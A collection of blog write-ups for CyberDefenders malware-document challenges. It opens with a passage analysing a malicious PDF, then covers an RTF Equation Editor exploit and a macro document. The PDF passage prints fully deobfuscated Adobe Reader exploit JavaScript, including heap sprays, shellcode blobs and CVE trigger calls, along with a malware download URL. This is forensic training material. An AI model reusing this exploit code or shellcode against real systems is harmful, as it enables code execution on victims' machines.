<p><img src="https://i.imgur.com/8Y1acXx.png" alt /></p>
<p>It will emulate the pdf reader environment and give us the code.</p>
<p><img src="https://i.imgur.com/OrkGOFS.png" alt /></p>
<p>After analyzing the the code i found that the JS code is taking the content of object 7 and 9.</p>
<pre><code class="lang-plaintext">___SS=1;
dump_9=____SSS[____SS].subject;
____$S=0;
res=dump_9.replace(/X_17844743X_170987743/g,"%");
dump_7=____SSS[____$S].subject;
res+=dump_7.replace(/89af50d/g,"%");
res=res.replace(/\n/,"");
res=res.replace(/\r/,"");
____S$=unescape(res);
app.eval(____S$);
</code></pre>
<p>So after doing the replace operation in a text editor I dumped the text in cyberchef and used <a target="_blank" href="https://cyberchef.org/#recipe=Find_/_Replace(%7B'option':'Regex','string':'%25'%7D,'%20',true,false,true,false)From_Hex('Auto')">this</a> recipe to get the following JS code.</p>
<pre><code class="lang-js"><span class="hljs-keyword">var</span> c = app;

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">s</span>(<span class="hljs-params">yarsp, len</span>) </span>{
        <span class="hljs-keyword">while</span> (yarsp.length * <span class="hljs-number">2</span> &lt; len) {
              yarsp += yarsp;
              <span class="hljs-built_in">this</span>.x = <span class="hljs-literal">false</span>;
        }          
        <span class="hljs-keyword">var</span> eI = <span class="hljs-number">37715</span>;
        yarsp = yarsp.substring(<span class="hljs-number">0</span>, len / <span class="hljs-number">2</span>);
        <span class="hljs-keyword">return</span> yarsp;
        <span class="hljs-keyword">var</span> yE = <span class="hljs-number">18340</span>;
}
<span class="hljs-keyword">var</span> m = <span class="hljs-keyword">new</span> <span class="hljs-built_in">String</span>(<span class="hljs-string">""</span>);

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">cG</span>(<span class="hljs-params"></span>) </span>{
                  <span class="hljs-keyword">var</span> chunk_size, payload, nopsled;

                  chunk_size = <span class="hljs-number">0x8000</span>;
                  <span class="hljs-comment">// calc.exe payload</span>
                  payload = <span class="hljs-built_in">unescape</span>(<span class="hljs-string">"%uabba%ua906%u29f1%ud9c9%ud9c9%u2474%ub1f4%u5d64%uc583%u3104%u0f55%u5503%ue20f%ued5e%uabb9%uc1ea%u2d70%u1953%u3282%u6897%ud01d%u872d%ufd18%ua73a%u02dc%u14cc%u64ba%u66b5%uae41%uf16c%u5623%udb7c%u7bc1%u5e69%u69dd%uf0b0%ucf0c%u1950%udd95%u5ab9%u7b37%u772b%uc55f%u1531%ue18d%u70c8%uc2c5%u4c1c%u7b34%u2f3a%ue82b%u27c9%u848b%ua512%u999d%u2faa%u84c0%u2bee%u768c%u0bc8%u237e%u4cc6%u51c2%u3abc%ufc45%u1118%uffe5%uf48a%udf14%u6c2f%u8742%u0a57%u6fe9%ub5b5%uca94%ua6ab%u84ba%u77d1%u4a2c%u74ac%uabcf%ub25f%ub269%u5e06%u51d5%u90f3%u978f%uec66%u6942%u6a9b%u18a2%u12ff%u42ba%u7be5%ubb37%u9dc6%u5de0%ufe14%uf2f7%uc6fd%u7812%uda44%u7167%u110f%ubb01%uf81a%ud953%ufc21%u22db%u20f7%u46b9%u27e6%ue127%u8e42%udb91%ufe58%ubaeb%u6492%u07fe%uade3%u4998%uf89a%u9803%u5131%u1192%ufcd5%u3ac9%u352d%u71de%u81cb%u4522%u6d21%uecd2%ucb1c%u4e6d%u8df8%u6eeb%ubff8%u653d%ubaf6%u8766%ud10b%u926b%ubf19%u9f4a%u0a30%u8a92%u7727%u96a7%u6347%ud3b4%u824a%uc4ae%uf24c%uf5ff%ud99b%u0ae1%u7b99%u133d%u91ad%u2573%u96a6%u3b74%ub2a1%u3c73%ue92c%u468c%uea25%u5986%u9261%u71b5%u5164%u71b3%u561f%uabf7%u91c2%ua3e6%uab09%ub60f%ua23c%ub92f%ub74b%ua308%u3cdb%ua4dd%u9221%u2732%u8339%u892b%u34a9%ub0da%ua550%u4f47%u568c%uc8fa%uc5fe%u3983%u7a98%u2306%uf60a%uc88f%u9b8d%u6e27%u305d%u1edd%uadfa%ub232%u4265%u2d3a%uff17%u83f5%u87b2%u5b90"</span>);
                  nopsled = <span class="hljs-built_in">unescape</span>(<span class="hljs-string">"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"</span>);
                  <span class="hljs-keyword">while</span> (nopsled.length &lt; chunk_size)
              nopsled += nopsled;
                  nopsled_len = chunk_size - (payload.length + <span class="hljs-number">20</span>);  
                  nopsled = nopsled.substring(<span class="hljs-number">0</span>, nopsled_len);
                  heap_chunks = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Array</span>();
                  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span> ; i &lt; <span class="hljs-number">2500</span> ; i++)
              heap_chunks[i] = nopsled + payload;


                  util.printd(<span class="hljs-string">"1.000000000.000000000.1337 : 3.13.37"</span>, <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>());
                  <span class="hljs-keyword">try</span> {
              media.newPlayer(<span class="hljs-literal">null</span>);
                  } <span class="hljs-keyword">catch</span>(e) {}
                  util.printd(<span class="hljs-string">"1.000000000.000000000.1337 : 3.13.37"</span>, <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>());
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">cN</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">var</span> o = <span class="hljs-string">"o"</span>;
              <span class="hljs-comment">// freecell.exe payload</span>
        <span class="hljs-keyword">var</span> payload = <span class="hljs-built_in">unescape</span>(<span class="hljs-string">"%uc929%u65b1%ud7db%u74d9%uf424%u83b8%u3830%u5b84%u4331%u0313%u1343%u6883%udacc%u8571%u413d%u6a30%u13f7%ub07d%u5c06%uc249%ube91%u3948%ud6a4%u4246%ud958%uf0e9%ubf3e%ucb93%uf8bc%u520a%u60a7%ubd5e%u804d%ub8b6%ub75a%u5391%uf6b0%ub933%uea10%ubade%u91ba%ud64b%u1fdb%ub411%ub731%u92ab%uf842%u2a7a%ua0b8%uc819%uc7af%u9bee%u7d10%u4e2e%u4201%u8a96%ude7c%ud1cb%u20f0%ue235%uf4e3%u33a8%u6fbe%u8396%u15b9%ub97f%ud56a%u2c92%uf698%ud416%u50c7%u7361%u386d%u1a83%ue308%u7fb1%u7a3f%u20ac%u90a8%u2d99%u544b%u1868%ucced%u8012%u7b51%u7bef%u4d0b%u4095%u10c6%udea5%ue327%u47ed%u9d3e%u28f4%u51cb%ucfd7%u746c%u8c04%u286b%u95cd%u4396%u0b57%u58e2%ue11e%u508a%uab14%uf7cf%uab12%ufb47%u96c3%u9932%ud41d%u3bda%u7d77%uf214%ub242%u636f%u299d%u2962%u7be8%u7fe4%ub283%ub18f%uee39%u7b09%ub7de%ue345%u8c16%u2e59%u59c0%u6fa5%u263f%uda5e%u8219%ua5d1%u54fc%u0474%u75fc%u53b1%u7f0b%u599a%u9409%u48e7%uf318%u71c6%uc930%u6317%u3126%ua923%u2249%ua830%u4247%uad22%u3340%ude7b%u9f86%ue365%u8693%ufdba%u5594%u0f8f%u59bf%u0de8%u74d9%u16ff%ua327%u1cf0%ub333%u021a%uda1c%u2831%u2868%u583f%u1c0a%u720b%u6af0%u8a62%u64fe%u8883%u7ecc%u83ab%u823a%ufd8c%u0ead%u8e59%uc117%u0c8e%u7204%ufeb6%ue3bc%u9a56%u9545%u10c3%u0698%ube7e%ub5ca%u6f07%u2a75%u0a8a%uc717%ub603%u44b8%u59bc%ue62b%uf459%u93d4%u658e%u377a%u14a6%ua20e%ue517%u49c0%u6cd0%u419d"</span>);
              <span class="hljs-built_in">this</span>.dN = <span class="hljs-string">""</span>;
        <span class="hljs-keyword">var</span> nop = <span class="hljs-built_in">unescape</span>(<span class="hljs-string">"%u0A0A%u0A0A%u0A0A%u0A0A"</span>);
        <span class="hljs-keyword">var</span> hW = <span class="hljs-keyword">new</span> <span class="hljs-built_in">String</span>();
        <span class="hljs-keyword">var</span> heapblock = nop + payload;
        <span class="hljs-built_in">this</span>.qA = <span class="hljs-string">"qA"</span>;
        <span class="hljs-keyword">var</span> bigblock = <span class="hljs-built_in">unescape</span>(<span class="hljs-string">"%u0A0A%u0A0A"</span>);
        <span class="hljs-built_in">this</span>.alphaY = <span class="hljs-number">12267</span>;
        <span class="hljs-keyword">var</span> headersize = <span class="hljs-number">20</span>;
        <span class="hljs-keyword">var</span> spray = headersize + heapblock.length;
        <span class="hljs-keyword">var</span> jZ = <span class="hljs-string">''</span>;
        <span class="hljs-keyword">var</span> jY = <span class="hljs-string">""</span>;
        <span class="hljs-keyword">while</span> (bigblock.length &lt; spray) {
              <span class="hljs-built_in">this</span>.r = <span class="hljs-string">"r"</span>;
              bigblock += bigblock; 
              <span class="hljs-keyword">var</span> edit = <span class="hljs-string">"edit"</span>;
        }
        <span class="hljs-built_in">this</span>.xGoogle = <span class="hljs-string">''</span>;
        <span class="hljs-built_in">this</span>.vY = <span class="hljs-literal">false</span>;
        <span class="hljs-keyword">var</span> fillblock = bigblock.substring(<span class="hljs-number">0</span>, spray);
        <span class="hljs-keyword">var</span> iP = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{};
        <span class="hljs-keyword">var</span> block = bigblock.substring(<span class="hljs-number">0</span>, bigblock.length - spray);
        <span class="hljs-keyword">var</span> googleD = <span class="hljs-literal">false</span>;
        <span class="hljs-built_in">this</span>.fUEdit = <span class="hljs-string">""</span>;
        <span class="hljs-keyword">while</span> (block.length + spray &lt; <span class="hljs-number">0x40000</span>) {
              block = block + block + fillblock;
              <span class="hljs-built_in">this</span>.bJ = <span class="hljs-string">''</span>;
        }
        <span class="hljs-keyword">var</span> googleQ = <span class="hljs-string">''</span>;
        <span class="hljs-built_in">this</span>.nW = <span class="hljs-string">''</span>;
        <span class="hljs-keyword">var</span> mem_array = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Array</span>();  
        <span class="hljs-keyword">var</span> cH = <span class="hljs-keyword">new</span> <span class="hljs-built_in">String</span>();
        <span class="hljs-keyword">var</span> nVO = <span class="hljs-keyword">new</span> <span class="hljs-built_in">String</span>(<span class="hljs-string">""</span>);
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">1400</span>; i++) {
              mem_array[i] = block + heapblock;
              <span class="hljs-keyword">var</span> sQ = <span class="hljs-keyword">new</span> <span class="hljs-built_in">String</span>(<span class="hljs-string">""</span>);
        }
        <span class="hljs-keyword">var</span> wC = <span class="hljs-string">''</span>;
        <span class="hljs-keyword">var</span> num = <span class="hljs-number">12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888</span>;
        <span class="hljs-built_in">this</span>.bC = <span class="hljs-number">3699</span>;
        util.printf(<span class="hljs-string">"%45000f"</span>, num);  
}
<span class="hljs-keyword">var</span> eQ = <span class="hljs-string">""</span>;

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">gX</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">var</span> basicZ = <span class="hljs-string">''</span>;
              <span class="hljs-comment">// notepad.exe payload</span>
        <span class="hljs-keyword">var</span> shellcode = <span class="hljs-built_in">unescape</span>(<span class="hljs-string">"%uc931%u64b1%ub6bf%u558b%ud976%ud9cd%u2474%u58f4%ue883%u31fc%u0d78%u7803%ue20d%u6043%u2c45%u44e1%ub6af%u964c%ub72e%ued9a%u55a9%u1a18%u71cc%u2237%u7e30%u91b7%u1856%ue9ae%u2394%u7479%ucdff%u5e6b%ufc95%ue562%u12a2%u77ad%u53d8%u925f%u4178%ue5b2%ufc62%uf826%ub883%u9e2c%u6c59%uf5dd%u5d2a%uc113%uc7c1%ub031%u6cf7%ua2b6%u1838%u2007%u1d29%ua0b1%u0314%uaee1%ufbd8%u96df%ua80b%uc7cd%uca91%ubfab%u7091%uea13%u7a32%u7bb1%u5ba0%ue130%u3b9f%u8d42%ue4ba%u28a0%u4e20%u29d6%u0147%uf2cc%ucff0%uffb9%u2f62%uc948%u2904%ud333%ude69%u2b88%u10f3%u776b%uedee%uef80%u9fcf%u89c2%uc649%uf510%u36e3%u10fb%ud153%u40ef%u4d82%u41f6%ue4ae%u5cb1%uf58a%uaa78%u3472%u750f%u52e6%u712a%u9faf%u5fea%uc24a%u9cf3%u64f2%u0559%u5ecc%u7957%u0607%ue3a9%u828a%u26fc%uc2cc%u7f97%u1577%u2a0a%u9c21%u73c8%ube3e%u4838%uf571%u04de%uca4d%ue02c%u6126%u4c09%ucab8%u16cf%ueb5c%u3af3%uf869%u3ffd%u02b2%u2bfc%u17bf%u3214%u149e%u8f05%u0fff%uec38%u0df4%ue632%u5709%u0f5f%u481a%u6947%u7913%u5680%u864d%ufe94%u9652%uec98%ua8a6%u13b3%ub6c0%u39da%ub1c7%u1421%ub9d8%u6f32%udef2%u091c%uf4e9%ude69%ufd04%ud308%ud722%u1af7%u2f5a%u15f2%u2d5b%u2f31%u3e43%u2c3c%u26a4%ub9d6%u2921%u6d1c%uabe5%u1e0c%u059e%u8fa4%u3f0e%u3e4d%ucbaa%ud183%u5346%u40f5%ub4de%uf46f%uae52%u7901%u53fa%u1e82%uf294%u8d50%u9b01%u28cf%u50e5%ud262%ue195%u661d%u2003%ufeb8%ubcae"</span>);
              <span class="hljs-keyword">var</span> mem_array = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Array</span>();        
        <span class="hljs-built_in">this</span>.googleBasicR = <span class="hljs-string">""</span>;
        <span class="hljs-keyword">var</span> cc = <span class="hljs-number">0x0c0c0c0c</span>;
        <span class="hljs-keyword">var</span> addr = <span class="hljs-number">0x400000</span>;
        <span class="hljs-keyword">var</span> sc_len = shellcode.length * <span class="hljs-number">2</span>;
        <span class="hljs-keyword">var</span> len = addr - (sc_len + <span class="hljs-number">0x38</span>);
        <span class="hljs-keyword">var</span> yarsp = <span class="hljs-built_in">unescape</span>(<span class="hljs-string">"%u9090%u9090"</span>);
        <span class="hljs-built_in">this</span>.eS = <span class="hljs-string">"eS"</span>;
        yarsp = s(yarsp, len);
        <span class="hljs-keyword">var</span> count2 = (cc - <span class="hljs-number">0x400000</span>) / addr;
        <span class="hljs-built_in">this</span>.rF = <span class="hljs-literal">false</span>;
        <span class="hljs-built_in">this</span>.p = <span class="hljs-string">"p"</span>;
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> count = <span class="hljs-number">0</span>; count &lt; count2; count++) {
              mem_array[count] = yarsp + shellcode;
        }
        <span class="hljs-keyword">var</span> bUpdate = <span class="hljs-keyword">new</span> <span class="hljs-built_in">String</span>(<span class="hljs-string">""</span>); 
        <span class="hljs-keyword">var</span> overflow = <span class="hljs-built_in">unescape</span>(<span class="hljs-string">"%u0c0c%u0c0c"</span>);
        <span class="hljs-keyword">var</span> cP = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{};
        <span class="hljs-built_in">this</span>.gD = <span class="hljs-string">""</span>;
        <span class="hljs-keyword">while</span> (overflow.length &lt; <span class="hljs-number">44952</span>) {
              <span class="hljs-built_in">this</span>.tO = <span class="hljs-string">""</span>;
              overflow += overflow; 
        }
        <span class="hljs-keyword">var</span> adobeD = <span class="hljs-keyword">new</span> <span class="hljs-built_in">String</span>();
        <span class="hljs-built_in">this</span>.collabStore = Collab.collectEmailInfo({
              <span class="hljs-attr">subj</span>: <span class="hljs-string">""</span>,
              <span class="hljs-attr">msg</span>: overflow
        });
}
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">updateE</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">var</span> xI = <span class="hljs-keyword">new</span> <span class="hljs-built_in">String</span>(<span class="hljs-string">""</span>);
        <span class="hljs-keyword">if</span> (c.doc.Collab.getIcon) {    
              <span class="hljs-keyword">var</span> arry = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Array</span>();
                    <span class="hljs-comment">// cmd.exe payload</span>
              <span class="hljs-keyword">var</span> vvpethya = <span class="hljs-built_in">unescape</span>(<span class="hljs-string">"%ud3b8%u7458%ud901%u2bcb%ud9c9%u2474%ub1f4%u5a65%u4231%u0312%u1242%u3983%u96a4%u56f4%u0d45%u9bbd%ud7af%ue7f8%u982e%u1dcf%u7aa8%ucad5%u92cf%uf3c1%u9d2f%u4766%ufb49%u941e%uc494%u8389%uacfe%u6ad8%udd95%u0935%uf3a2%u801c%ub2d9%u488c%u2678%u0b5c%udd62%u01f4%u5b82%u4792%u4b5e%u2d2e%ubc2a%uf9ff%ue4c1%u9b9a%u83f7%ucc69%u3938%u1fb1%u7e29%uc50b%ue214%u8248%udcd8%ub3b7%u890b%ue425%uab91%u5210%u5192%uc8fc%u9932%u9def%ubaa1%u0795%u1c9f%uacee%uc5ba%u4b1c%uaf20%u0832%u3e47%u9129%uacf0%ude04%u1062%ue9e7%u0804%uf391%ubf69%ucc69%u71f0%u1108%uccee%u0d20%ubecf%ub462%ud949%u9971%u15e3%u3c5a%ub053%u5d89%u6c82%u6648%u07ae%u7ad2%u148a%ub09d%u1572%u1aab%u33e6%u5a91%ub8af%u4744%udd4a%u8b98%u47f2%u2af0%ub1cc%u03cf%u2707%ufe1e%ued8a%uca57%u23cd%u030e%u7277%u39bc%ubf21%u6423%udf3e%u5d93%uea71%u2a42%u2b4d%ud7b8%u0626%u7de4%ue9b8%ue771%uc85c%u0a82%u1f69%u2e8c%u1db2%u258c%u34bf%u2085%u359e%u98b7%u2cff%ue0a5%u6cf4%uf3c6%u7409%uf5ca%u6919%u60cd%u9a13%u4e19%ua74d%uf71c%ub952%uea11%ucba6%u0839%ud1c0%u2527%ud2c7%u10a5%ud8d8%u62bd%ufff2%u0b9a%uebe9%udfee%u1c04%ud389%u3622%u1d77%u4e5a%u177d%u4c5b%u21b3%u5f43%u31b9%u39a4%ubd2a%u4a21%u1291%uc8e5%u0389%u229e%ub43a%u5e0e%u24c3%ud4aa%ud71d%u7246%u4a4c%u53de%ufbf6%uc952%u7098%u72fa%u153a%u1594%ub5a8%ub801%u2057%u29e5%uc6f9%ud08e%u738b%u275f%u1e42%u22e7%u411a"</span>);
                    <span class="hljs-keyword">var</span> updateX = <span class="hljs-number">39796</span>;    
              <span class="hljs-keyword">var</span> hWq500CN = vvpethya.length * <span class="hljs-number">2</span>;
              <span class="hljs-keyword">var</span> len = <span class="hljs-number">0x400000</span> - (hWq500CN + <span class="hljs-number">0x38</span>);
              <span class="hljs-keyword">var</span> zAdobe = <span class="hljs-string">""</span>;
              <span class="hljs-keyword">var</span> yarsp = <span class="hljs-built_in">unescape</span>(<span class="hljs-string">"%u9090%u9090"</span>);
              <span class="hljs-keyword">var</span> dU = <span class="hljs-string">""</span>;
              yarsp = s(yarsp, len);
              <span class="hljs-built_in">this</span>.zAdobeK = <span class="hljs-string">""</span>;
              <span class="hljs-keyword">var</span> p5AjK65f = (<span class="hljs-number">0x0c0c0c0c</span> - <span class="hljs-number">0x400000</span>) / <span class="hljs-number">0x400000</span>;
              <span class="hljs-keyword">var</span> aG = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>();        
              <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> vqcQD96y = <span class="hljs-number">0</span>; vqcQD96y &lt; p5AjK65f; vqcQD96y++) {
                  <span class="hljs-keyword">var</span> lBasic = <span class="hljs-string">""</span>;
                  arry[vqcQD96y] = yarsp + vvpethya;
                  <span class="hljs-keyword">var</span> u = <span class="hljs-string">""</span>;        
              }
              <span class="hljs-keyword">var</span> iAlpha = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{};
              <span class="hljs-keyword">var</span> tUMhNbGw = <span class="hljs-built_in">unescape</span>(<span class="hljs-string">"%09"</span>);
              <span class="hljs-keyword">while</span> (tUMhNbGw.length &lt; <span class="hljs-number">0x4000</span>) {
                  <span class="hljs-built_in">this</span>.gN = <span class="hljs-literal">false</span>;
                  tUMhNbGw += tUMhNbGw;
              }
              <span class="hljs-keyword">var</span> hV = <span class="hljs-keyword">new</span> <span class="hljs-built_in">String</span>(<span class="hljs-string">""</span>);
              <span class="hljs-keyword">var</span> nVE = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{};
              tUMhNbGw = <span class="hljs-string">"N."</span> + tUMhNbGw;
              c.doc.Collab.getIcon(tUMhNbGw);
        }
        <span class="hljs-built_in">this</span>.wZ = <span class="hljs-number">44811</span>;
}
<span class="hljs-keyword">var</span> hO = <span class="hljs-keyword">new</span> <span class="hljs-built_in">String</span>(<span class="hljs-string">""</span>);

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">nO</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-built_in">this</span>.iR = <span class="hljs-literal">false</span>;
        <span class="hljs-keyword">var</span> version = c.viewerVersion.toString();
        <span class="hljs-keyword">var</span> zH = <span class="hljs-string">''</span>;
        version = version.replace(<span class="hljs-regexp">/D/g</span>, <span class="hljs-string">''</span>);
        <span class="hljs-keyword">var</span> varsion_array = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Array</span>(version.charAt(<span class="hljs-number">0</span>), version.charAt(<span class="hljs-number">1</span>), version.charAt(<span class="hljs-number">2</span>));
        <span class="hljs-keyword">if</span> ((varsion_array[<span class="hljs-number">0</span>] == <span class="hljs-number">8</span>) &amp;&amp; (varsion_array[<span class="hljs-number">1</span>] == <span class="hljs-number">0</span>) || (varsion_array[<span class="hljs-number">1</span>] == <span class="hljs-number">1</span> &amp;&amp; varsion_array[<span class="hljs-number">2</span>] &lt; <span class="hljs-number">3</span>)) {
              cN();
        }
        <span class="hljs-built_in">this</span>.wN = <span class="hljs-string">""</span>;
        <span class="hljs-keyword">var</span> aQ = <span class="hljs-keyword">new</span> <span class="hljs-built_in">String</span>(<span class="hljs-string">""</span>);
        <span class="hljs-keyword">if</span> ((varsion_array[<span class="hljs-number">0</span>] &lt; <span class="hljs-number">8</span>) || (varsion_array[<span class="hljs-number">0</span>] == <span class="hljs-number">8</span> &amp;&amp; varsion_array[<span class="hljs-number">1</span>] &lt; <span class="hljs-number">2</span> &amp;&amp; varsion_array[<span class="hljs-number">2</span>] &lt; <span class="hljs-number">2</span>)) {
              gX();
        }
        <span class="hljs-keyword">var</span> vEdit = <span class="hljs-string">""</span>;
        <span class="hljs-keyword">if</span> ((varsion_array[<span class="hljs-number">0</span>] &lt; <span class="hljs-number">9</span>) || (varsion_array[<span class="hljs-number">0</span>] == <span class="hljs-number">9</span> &amp;&amp; varsion_array[<span class="hljs-number">1</span>] &lt; <span class="hljs-number">1</span>)) {
              updateE();
        }
        <span class="hljs-keyword">var</span> eH = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{};
        <span class="hljs-keyword">var</span> eSJ = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Function</span>();
        cG();
        <span class="hljs-keyword">var</span> vUpdate = <span class="hljs-literal">false</span>;
}
<span class="hljs-keyword">var</span> basicU = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>();
<span class="hljs-built_in">this</span>.updateO = <span class="hljs-literal">false</span>;
nO();
<span class="hljs-keyword">var</span> mUpdate = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{};
</code></pre>
<h2 id="heading-9-the-js-code-responsible-for-executing-the-exploit-contains-shellcodes-that-drop-malicious-executable-files-what-is-the-full-path-of-malicious-executable-files-after-being-dropped-by-the-malware-on-the-victim-machine">9. The JS code responsible for executing the exploit contains shellcodes that drop malicious executable files. What is the full path of malicious executable files after being dropped by the malware on the victim machine?</h2>
<p>After analyzing the above code I found the the code is calling nO() function. And based on adobe acrobat readers version cN(), gX() and updateE() is called. Each of the 3 function has different shellcode. So I copy the shellcode modified it using <a target="_blank" href="https://cyberchef.org/#recipe=Find_/_Replace(%7B'option':'Regex','string':'%25u'%7D,'%20',true,false,true,false)From_Hex('Auto')">this</a> recipe. Then emulate it using scdbg.</p>
<p><img src="https://i.imgur.com/8DCnkI9.png" alt /></p>
<h2 id="heading-10-the-pdf-file-contains-another-exploit-related-to-cve-2010-0188-what-is-the-url-of-the-malicious-executable-that-the-shellcode-associated-with-this-exploit-drop">10. The PDF file contains another exploit related to CVE-2010-0188. What is the URL of the malicious executable that the shellcode associated with this exploit drop?</h2>
<p>Then I did the for all shell code. Every shellcode gave me different URL. But none of the was correct answer. Then I used the one what i got from the pcap.</p>
<pre><code class="lang-plaintext">http://blog.honeynet.org.my/forensic_challenge/the_real_malware.exe
</code></pre>
<h2 id="heading-11-how-many-cves-are-included-in-the-pdf-file">11. How many CVEs are included in the PDF file?</h2>
<p>Running every function separately on 'pdf stream dumper' javascript emulator I get 4 CVE. And found another one from virustotal.</p>
<p>cN(); util.printf() called - CVE-2008-2992 gX(); collab.collectEmailInfo() called - CVE-2007-5659 updateE(); collab.getIcon() called - CVE-2009-0927 nO(); media.newPlayer called - CVE-2009-4324 detected by virus total CVE-2010-0188</p>
]]></content:encoded></item><item><title><![CDATA[Emprisa Maldoc Writeup - CyberDefenders]]></title><description><![CDATA[As a SOC analyst, you were asked to inspect a suspected document a user received in his inbox. One of your colleagues told you that he could not find anything suspicious. However, throwing the document into the sandboxing solution triggered some aler...]]></description><link>https://blog.kcnaiamh.com/emprisa-maldoc-writeup-cyberdefenders</link><guid isPermaLink="true">https://blog.kcnaiamh.com/emprisa-maldoc-writeup-cyberdefenders</guid><category><![CDATA[#digitalforensic ]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Thu, 03 Aug 2023 18:00:00 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>As a SOC analyst, you were asked to inspect a suspected document a user received in his inbox. One of your colleagues told you that he could not find anything suspicious. However, throwing the document into the sandboxing solution triggered some alerts.</p>
<p>Your job is to investigate the document further and confirm whether it's malicious or not.</p>
</blockquote>
<h2 id="heading-1-what-is-the-cve-id-of-the-exploited-vulnerability">1. What is the CVE ID of the exploited vulnerability?</h2>
<p>First extracted md5 hash and then search it in virustotal. There it is tagged with two CVE's. Earliest one is the answer.</p>
<p>MD5: d82341600606afcf027646ea42f285ae CVE: CVE-2017-11882, CVE-2018-0802</p>
<h2 id="heading-2-to-reproduce-the-exploit-in-a-lab-environment-and-mimic-a-corporate-machine-running-microsoft-office-2007-a-specific-patch-should-not-be-installed-provide-the-patch-number">2. To reproduce the exploit in a lab environment and mimic a corporate machine running Microsoft office 2007, a specific patch should not be installed. Provide the patch number.</h2>
<p>After doing google search, found about the patch <a target="_blank" href="https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-2007-microsoft-office-suite-november-28-2017-7f275c8d-14df-8be5-3f9c-b3761bf9681d">in this page</a>. The patch ID is KB4011276.</p>
<h2 id="heading-3-what-is-the-magic-signature-in-the-object-data">3. What is the magic signature in the object data?</h2>
<p>After running rtfdump.py tool, we get the magic number. magic: d0cf11e0</p>
<h2 id="heading-4-what-is-the-name-of-the-spawned-process-when-the-document-gets-opened">4. What is the name of the spawned process when the document gets opened?</h2>
<p>Found the process name from anyrun. eqnedt32.exe</p>
<h2 id="heading-5-what-is-the-full-path-of-the-downloaded-payload">5. What is the full path of the downloaded payload?</h2>
<p>As the payload should be executed, I checked virustotals behavior tab's process tree.</p>
<p><img src="https://i.imgur.com/Jk4c7xx.png" alt /></p>
<h2 id="heading-6-where-is-the-url-used-to-fetch-the-payload">6. Where is the URL used to fetch the payload?</h2>
<p>There is only on HTTP request, thats test.png</p>
<pre><code class="lang-plaintext">https://raw.githubusercontent.com/accidentalrebel/accidentalrebel.com/gh-pages/theme/images/test.png
</code></pre>
<h2 id="heading-7-what-is-the-flag-inside-the-payload">7. What is the flag inside the payload?</h2>
<p>From here I couldn't answer any questions as to do further analysis I need to download the <code>test.png</code> payload from above link which does not exist at the time I'm doing analysis.</p>
]]></content:encoded></item><item><title><![CDATA[MalDoc101 Writeup - CyberDefenders]]></title><description><![CDATA[It is common for threat actors to utilize living off the land (LOTL) techniques, such as the execution of PowerShell to further their attacks and transition from macro code. This challenge is intended to show how you can often times perform quick ana...]]></description><link>https://blog.kcnaiamh.com/maldoc101-writeup-cyberdefenders</link><guid isPermaLink="true">https://blog.kcnaiamh.com/maldoc101-writeup-cyberdefenders</guid><category><![CDATA[macros]]></category><category><![CDATA[#digitalforensic ]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Tue, 01 Aug 2023 18:00:00 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>﻿ It is common for threat actors to utilize living off the land (LOTL) techniques, such as the execution of PowerShell to further their attacks and transition from macro code. This challenge is intended to show how you can often times perform quick analysis to extract important IOCs. The focus of this exercise is on static techniques for analysis.</p>
</blockquote>
<h2 id="heading-1-multiple-streams-contain-macros-in-this-document-provide-the-number-of-highest-one">1. Multiple streams contain macros in this document. Provide the number of highest one.</h2>
<pre><code class="lang-plaintext">oledump.py sample.bin
</code></pre>
<p><img src="https://i.imgur.com/zsuzYIi.png" alt /></p>
<h2 id="heading-2-what-event-is-used-to-begin-the-execution-of-the-macros">2. What event is used to begin the execution of the macros?</h2>
<pre><code class="lang-plaintext">olevba sample.bin
</code></pre>
<p><img src="https://i.imgur.com/1R92dS4.png" alt /></p>
<h2 id="heading-3-what-malware-family-was-this-maldoc-attempting-to-drop">3. What malware family was this maldoc attempting to drop?</h2>
<p>Drop the sample into Virustotal. It shows <code>trojan.w97m/emotet</code>.</p>
